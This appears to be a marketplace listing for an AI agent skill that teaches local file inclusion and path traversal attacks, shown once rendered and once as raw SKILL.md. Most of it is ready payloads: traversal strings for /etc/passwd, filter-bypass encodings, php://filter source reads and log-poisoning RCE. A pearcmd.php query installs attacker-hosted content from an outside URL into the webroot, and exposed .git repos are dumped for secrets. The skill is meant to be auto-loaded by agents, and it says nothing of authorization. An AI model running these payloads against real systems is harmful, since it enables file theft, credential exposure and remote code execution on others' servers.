How do I install the Web Lfi Path Traversal skill?

Run npx skillmds@latest add noorqureshi/web-lfi-path-traversal in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Lfi Path Traversal safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Lfi Path Traversal?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Lfi Path Traversal free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Lfi Path Traversal?

NoorQureshi (@noorqureshi) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Lfi Path Traversal by noorqureshi

Name: Web Lfi Path Traversal
Author: NoorQureshi

Web Lfi Path Traversal

Local File Inclusion / path traversal → read files, sometimes RCE. Load when a param names a file/path/template/page: ?file=, ?page=, ?template=, ?download=, ?lang=, or path segments. Signals: filenames in params, "include", download endpoints, `../` filtered, `.php?page=`.

NoorQureshi Updated Sep 17, 2026

File contents

LFI / path traversal

When it applies

A parameter or path segment controls which file the server reads/includes. Path traversal reads arbitrary files; LFI (include) can execute them → RCE.

Why it works

The app builds a filesystem path from user input without normalizing/constraining it, so ../ sequences escape the intended directory. If the value is included (PHP), included content is executed.

Method

Read a canary: ?file=/etc/passwd, then traversal ?file=../../../../etc/passwd; on Windows ..\..\..\windows\win.ini.
Defeat filters: URL-encode ..%2f, double ..%252f, ....// (strip-once), overlong %c0%af, null %00 (old PHP), absolute paths, nested .....
PHP wrappers → source/RCE: php://filter/convert.base64-encode/resource=index.php (read source), data:///expect://, and log poisoning (write PHP into a log via User-Agent, then include the log) or session//proc/self/environ inclusion for RCE.
PEAR pearcmd.php LFI→RCE (very common on PHP hosts with register_argc_argv=On and PEAR installed): include /usr/local/lib/php/pearcmd.php and pass args via the query string, e.g. ?file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+<attacker.tgz-URL> to write attacker-controlled content into the webroot, then request it. The trick is that register_argc_argv lets pearcmd read argv from the URL query — no upload needed.
Enumerate targets: config files, keys, app source, history files, and an exposed /.git/ (grab .git/HEAD/config → dump the repo → git log -p for deleted secrets); ffuf a LFI wordlist.

Gotchas

A forced extension (include $p.".php") blocks arbitrary read → try wrappers or null byte (old PHP).
Traversal (read-only) vs LFI (include→exec) are different ceilings — check whether output is executed.
Read the app's own source via php://filter to find the next bug faster.

Verify success

Contents of a file outside the intended directory returned (e.g. /etc/passwd, app config/ source), or code execution via a wrapper/log-poisoning include.

References

PortSwigger path-traversal labs; LFI-to-RCE cheat sheets; OWASP path traversal.

---name: web-lfi-path-traversaldescription: Local File Inclusion / path traversal → read files, sometimes RCE. Load when a param names a file/path/template/page: ?file=, ?page=, ?template=, ?download=, ?lang=, or path segments. Signals: filenames in params, "include", download endpoints, `../` filtered, `.php?page=`.---# LFI / path traversal## When it appliesA parameter or path segment controls which file the server reads/includes. Path traversal readsarbitrary files; LFI (include) can execute them → RCE.## Why it worksThe app builds a filesystem path from user input without normalizing/constraining it, so `../`sequences escape the intended directory. If the value is `include`d (PHP), included content is executed.## Method1. **Read a canary**: `?file=/etc/passwd`, then traversal `?file=../../../../etc/passwd`; on Windows `..\..\..\windows\win.ini`.2. **Defeat filters**: URL-encode `..%2f`, double `..%252f`, `....//` (strip-once), overlong `%c0%af`, null `%00` (old PHP), absolute paths, nested `....`.3. **PHP wrappers → source/RCE**: `php://filter/convert.base64-encode/resource=index.php` (read source), `data://`/`expect://`, and **log poisoning** (write PHP into a log via User-Agent, then include the log) or session/`/proc/self/environ` inclusion for RCE.4. **PEAR `pearcmd.php` LFI→RCE** (very common on PHP hosts with `register_argc_argv=On` and PEAR installed): include `/usr/local/lib/php/pearcmd.php` and pass args via the query string, e.g. `?file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+<attacker.tgz-URL>` to write attacker-controlled content into the webroot, then request it. The trick is that `register_argc_argv` lets `pearcmd` read `argv` from the URL query — no upload needed.5. **Enumerate targets**: config files, keys, app source, history files, and an exposed `/.git/` (grab `.git/HEAD`/`config` → dump the repo → `git log -p` for deleted secrets); `ffuf` a LFI wordlist.## Gotchas- A forced extension (`include $p.".php"`) blocks arbitrary read → try wrappers or null byte (old PHP).- Traversal (read-only) vs LFI (include→exec) are different ceilings — check whether output is executed.- Read the app's own source via `php://filter` to find the next bug faster.## Verify successContents of a file outside the intended directory returned (e.g. `/etc/passwd`, app config/source), or code execution via a wrapper/log-poisoning include.## ReferencesPortSwigger path-traversal labs; LFI-to-RCE cheat sheets; OWASP path traversal.

Frequently asked questions